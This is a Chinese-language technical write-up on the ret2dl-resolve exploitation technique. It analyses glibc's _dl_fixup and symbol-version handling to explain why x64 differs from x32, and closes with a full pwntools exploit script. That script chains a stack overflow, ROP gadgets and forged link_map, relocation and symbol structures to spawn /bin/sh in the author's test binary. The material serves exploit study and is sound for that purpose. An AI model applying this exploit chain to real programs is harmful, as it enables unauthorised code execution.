0x00 写在前面
在看本篇文章之前,得需要了解一下ret2dl的原理,可能更好理解一点。在学习研究通过_dl_runtime_reslove
实现函数延迟绑定的时候,对比x64和x32有很多地方不一样,通过查询相关资料也没有比较好的解释,比如看雪的这篇文章
https://bbs.pediy.com/thread-227034.htm
里面提到在x64上使用这种方法的时候,需要把link_map+0x1c8
置零,但是为什么呢?
下面的评论也有问,为什么在往bss写在_dl_fixup
过程中需要用到相关伪造的结构,需要在bss上再加一段偏移?
也有人对此文件进行回答,因为在_dl_fixup
会引用到位置较低的地方。什么是引用较低的位置?
如果你去查相关为什么要把link_map+0x1c8
置零的?
有相关文章会告诉你如下的解释:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
DT_VERSYM
是与Symbol table
对应的一张存储每个符号版本index的表,相当于一个ElfW(Half) 数组。
这里没有把ElfW
这个宏拆开,这里是代指Elf64_Half
和 Elf32_Half
两种结构,可以看到每次取的版本序列下标是在SYMTAB
节里面的偏移地址。
我们都只知道这里偏移相对来说是比较大的,使得vernum[ELFW(R_SYM)(reloc->r_info)]
读取出错。
其实我在这里对这个回答打了一个大大疑问,真的是这样吗??
这个解释是针对x64情况下解释,为什么我会有疑问呢?
为什么在x32下,没人关注这个问题呢?是否和前面提到的为什么要在bss前面在偏移遥想呼应呢?
于是有了此文,希望此文能给初识ret2dl的同学解惑。
0x01 DT_VERSYM
为了能从根本解决上面的问题,只有去读glibc的相关源码。
首先我们解决为什么大多数人只在x64上关注_dl_fixup
里面对符号版本的读取。
我们先来了解一下,引用符号版本到底有什么用?
在_dl_fixup
调用过程有一个check_match
函数这个函数是一个验证函数,整个查找在动态库里面查找对应符号的位置过程
首先会通过符号名字的hash值在动态库的HASHTABLE找到对应的位置,然后应用调用check_match
这个函数进一部验证找到的符号位置,是不是我们需要,会通过两个方面,符号名的对比和符号版本的对比。
if (version != NULL)
{
if (__glibc_unlikely (verstab == NULL))
{
....
}
else
{
/* We can match the version information or use the
default one if it is not hidden. */
ElfW(Half) ndx = verstab[symidx] & 0x7fff;
if ((map->l_versions[ndx].hash != version->hash
|| strcmp (map->l_versions[ndx].name, version->name))
&& (version->hidden || map->l_versions[ndx].hash
|| (verstab[symidx] & 0x8000)))
/* It's not the version we want. */
return NULL;
}
}
else
{
/* No specific version is selected. There are two ways we
can got here:
If the library does not provide symbol version information
there is no problem at all: we simply use the symbol if it
is defined.
if (verstab != NULL)
{
if ((verstab[symidx] & 0x7fff)
>= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
{
/* Don't accept hidden symbols. */
if ((verstab[symidx] & 0x8000) == 0
&& (*num_versions)++ == 0)
/* No version so far. */
*versioned_sym = sym;
return NULL;
}
}
If the library does not provide symbol version information
there is no problem at all
对应符号版本的处理有两种,如果指定了version的值,就严格的进行对比,如果没有指定version的值,即version的值为NULL
的情况,可以看到上面的引用,那也是没有问题的
我们可以认为原二进制文件是没有提供DT_VERSYM
节的,这是无关紧要的,只要找到与符号名字对应的符号,返回即可。这里需要我们对version有一个基本的了解。
再回到关于version的获取上:
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
先取对应符号版本r_found_version
结构在l->l_versions
的下标
下标的位置等于 DT_VERSYM
节位置加上sizeof(ElfW(Half))*(ELFW(R_SYM) (reloc->r_info))
这个和取符号ELfW(Sym)
的结构的时候一模一样,DT_SYMTAB
节的位置加上sizeof(ElfW(Sym))*(ELFW(R_SYM) (reloc->r_info))
不同点在于两个节的基址和相关结构的大小不一样,偏移都是一样的。
在这里我们需要考虑这两个地方的取值
首先一定要保证ELfW(Sym)
的取值绝对要一定正确,寻找符号需要的变量全在里面,所以这个时候是没办法去兼顾version的取值。
在version的取值上,我们不能再去考虑为对应符号伪造正确的version下标,我们可以做到让下标等于0,l->l_versions[0]
一般来说这个位置的r_found_version
的结构都是NULL,即保证了version是NULL
前面又说道,我们可以不指定符号的版本。那么问题来了,我们如何保证取到ndx
的值等于0呢?
DT_VERSYM
节的位置其实就是.gnu.version
的节的位置,我们首先要确定这个节的基址,目标文件在装载的时候,相同类型段(这里用段,段一般用来只节在文件中称呼),会合并到一起,减少分页产生的碎片。具体的位置,我们可以用readelf来看一下
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
可以看到.gnu.verison
节在运行的时候,跟在.dynsym(DT_SYMTAB)
和 .dynstr(DT_STRTAB)
节的后面,得想个办法让从.gnu.version
节开始的偏移,落在0x00
上。
这个时候我们再来看一下运行时的内存分布,下面内存分布是elf32的分布。
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
0x08049000 0x0804a000 0x00000000 r-- /root/c_test/2019-07-31/32.out
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out
我们能很快找到其实是落在
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
这一块的内存分布上的,我们再去看看这块内存分布上最后一个节的end结束在哪?
.eh_frame
end_addr = 0x8048768 , 按照分页的机制,每个节应该每次都是从0x1000
开始的,就算不足0x1000,也要用一页。
所以从0x08048768-0x08049000
这一段都是0x00
填充的,我们得想办法,让version_ndx的偏移落到这个部分。
我们来算一下需要多少偏移量才行:
.gnu.verison
start_addr =0x080482E4
(0x8048768-0x080482E4) / sizeof(ElfW(Half)) = 0x242
在x64和x32上ElfW(Half)
的结构都是2个字节。
想一下至少得0x242
个偏移量,这个偏移量得看取ElfW(Sym)
这个过程允不允许。
伪造的相关结构要放在bss上,我们来看一下最大的偏移量是多少:
.dynsym
start_addr = 0x080481D8
.bss
对应的内存块落在
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out
即可计算得
(0x0804b000-0x080481D8) / sizeof(Elf32_Sym) = 0x2e2
经过计算0x2e2 > 0x242
,所以我们是可以做到让version_ndx
落在未使用的0x00
上的,只需要把伪造的结构往.bss
位置后面移动。
这里我们解答了为什么要在.bss
节上还有加偏移量,不直接在.bss
节上直接写。上面都是在x32的情况下。
所以我们不用考虑要去位置version结构了,下面再来看看x64下的情况,还是按照上面分布计算上面的两个偏移量
内存分布如下
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/c_test/2019-07-31/64.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/c_test/2019-07-31/64.out
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/c_test/2019-07-31/64.out
.gnu.verison
start_addr =0x400429 即落在第一个内存页上,计算如下
(0x401000-0x400429) / sizeof(ElfW(Half)) = 0x5eb
即需要最小偏移量
.bss
star_addr = 0x404040 即落在最后一个内存页上计算如下
(0x405000-0x404000) /sizeof (Elf64_Sym) = 0xaa
,即最大偏移量。
0xaa < 0x5eb
我们没办法让verison_ndx
落在未使用的页空间上。x64和x32的情况出现了不同,这也是x32为什么没人去考虑version的问题
有人可能会想,我们也没必要让version落在未使用的页上,但是这具有随机性,不具有通用性。可能可以实现,也可能不可以,所以我们必须排除随机。
所以在x64上我们得想办法让version不成为我们的阻碍。继续看_dl_fixup的源码
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_ve
rsion *version = NULL;
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
...
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
/* We are done with the global scope. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}
看第一个if分支,我可以让第一个if不成立直接进入else分支,这个分支会直接返回 (l->l_addr+ sym->value)
的地址,可能有的同学会想进入第一个if分支,让紧接的if语句不成立,不是同样可以让version=NULL
吗?
那我们接着往下看,接着会进入_dl_lookup_symbol_x
函数的调用,通过遍历scope
和其中的link_map
的链表查找符号的位置
/* Search the relevant loaded objects for a definition. */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
{
int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
¤t_value, *scope, start, version, flags,
skip_map, type_class, undef_map);
if (res > 0)
break;
scope = l->l_scope
,
再回过来头想一想if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
如果我想让这个不成立,那我们就得伪造l->l_info[VERSYMIDX (DT_VERSYM)]
这个位置为NULL,那就得知道l
的位置,如果l
的位置无法泄露,那么我们就得重新伪造一个link_map
再看上面,那么这个link_map
的l_scope
也要伪造,l_scope
是一个保存r_scope_elem
的二级指针,r_scope_elem
结构保存是link_map
的指针数组,前面l
是不知道的,那么这里这个l_scope
的也是没办法伪造的,所以这里这条路走不了。
还是得看else
的那个分支,其实else里面的(l->l_addr+ sym->value)
就相当于一个任意地址执行,如果我们想要执行system
,我们知晓libc的版本,那么这里我们需要一个地址已经绑定了的符号,__libc_start_main
是一个不错的符号位置
这里需要把l->l_addr
的值等于__libc_start_main
的地址,然后伪造lsym->value的值为libc里面符号的偏移量。所以这里直接把got表里面__libc_start_main
的位置当做link_map
,_dl_fixup里面用link_map取了STRTAB,SYMTAB ,JMPREL的三个节的dyn结构,所以还需要去相应的位置写入伪造的结构。
切记,这里不能像在x32用leave; ret
的gadget来劫持栈把rop链也放在bss节上,因为这里的_dl_runtime_reslove
变成了_dl_runtime_resolve_xsave
,在栈上有取地址写的操作。会造成地址写不了。
还有在_dl_fixup
最后return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
里面注意在rel_addr
可写,可以修改伪造rela
的结构让它指到libc
的.bss
节上。
下面贴上,我自己按照理解写的x64下,只有read
的exp
from pwn import *
context.log_level='debug'
leave_ret = 0x0000000000401194 #leave ; ret
read_plt_addr = 0x401050
read_got_addr = 0x404028
dl_addr =0x401026
#strtab_addr = 0x4003D8
#symtab_addr = 0x400330
#jmprel_addr = 0x4004A0
bss_addr = 0x404040 + 0x30
libc_start_main_got_addr = 0x403FF0
system_offset = 0x20a10
buffer_area = bss_addr + 8*6 + 0x10 + 0x100
strtab_addr = symtab_addr = jmprel_addr = buffer_area
fake_dyn = p64(0)
fake_dyn +=p64(buffer_area)
fake_dyn_addr = bss_addr + 8*6
fake_link_map = p64(libc_start_main_got_addr) #l_addr
fake_link_map += "\x00"*(0x68-len(fake_link_map))+p64(fake_dyn_addr) #link_map+0x68 == strtab
fake_link_map += p64(fake_dyn_addr)
fake_link_map += "\x00"*(0xf8-len(fake_link_map))+p64(fake_dyn_addr) # link_map+0xf8 == jmprel
#rel
#typedef struct
#{
# Elf64_Addr r_offset; /* Address */
# Elf64_XWord r_info; /* Relocation type and symbol index */
# Elf64_Sxword r_addend; /* Addend */
#} Elf64_Rela;
fake_symtab_offset = 1
fake_rela = p64(0x197050) #setbuf_got_Addr
fake_rela += p64((fake_symtab_offset << 32) + 7)
fake_rela += p64(0)
#sym
#typedef struct
#{
# Elf64_Word st_name; /* Symbol name (string tbl index) */
# unsigned char st_info; /* Symbol type and binding */
# unsigned char st_other; /* Symbol visibility */
# Elf64_Section st_shndx; /* Section index */
# Elf64_Addr st_value; /* Symbol value */
# Elf64_Xword st_size; /* Symbol size */
#} Elf64_Sym;
fake_strtab_offset = 0x18 + 0x18
fake_sym = p32(fake_strtab_offset)
fake_sym +=chr(0x12)
fake_sym +=chr(0x3)
fake_sym +=p16(0)
fake_sym +=p64(0x20a10)
fake_sym +=p64(0)
sh = process('./64.out')
#sh = process('./64.out')
raw_input('aaaa')
payload = "A"*112
payload += p64(bss_addr)
payload += p64(0x4011F2) # pop rbx , pop rbp , pop 12, pop13, pop r14, pop r15 , ret
payload += p64(0)
payload += p64(1)
payload += p64(read_got_addr)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0x200)
payload += p64(0x4011D8)# mov rdx ,15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbp, rbx;jmp 0x04011ee;
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x68_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x68) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0x70_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x70) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx 0xf8_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0xf8) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx
payload += p64(bss_addr) # pop rbp
payload += p64(0) # pop 12
payload += p64(0) # pop 13
payload += p64(0) # pop 14
payload += p64(0) # pop 15
#payload += p64(leave_ret) #ret
payload += p64(0x4011FB)
bin_sh_addr = buffer_area + 0x18 + 0x18 + 0x7
payload += p64(bin_sh_addr)
payload += p64(dl_addr)
payload += p64(libc_start_main_got_addr) #link_map_address
payload += p64(0)
payload += "M"*(0x200-len(payload))
#payload += p64(read_plt_addr)
#payload += p64(0)
#payload += p64(bss_addr)
#payload += p64(0x200)
#payload += p64(leave_ret)
#payload += "M"*(0x200-len(payload))
sh.send(payload)
rop = p64(0)
rop += p64(0x4011FB) # pop rdi;ret
rop += p64(bin_sh_addr)
rop += p64(dl_addr)
rop += p64(libc_start_main_got_addr) #link_map_address
rop += p64(0) # fake_rela_offset
strings = "system\x00/bin/sh\x00\x00"
payload = rop + fake_dyn +fake_link_map + fake_rela + fake_sym + strings
payload += "M"*(0x200-len(payload))
sh.send(payload)
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
sh.interactive()
在这里面其实fake_link_map这个没必要写,但是这段占用的空间不能去
为什么你写的时候就知道了,还一些细节在里面,如果大家有兴趣,或者不懂,或者有疑问的地方都可以问我。
不知道有多少人真正懂了ret2dl,说实话glibc的源码里面宏看的我头疼!!!
64.zip (2.6 KB)
PWN IT!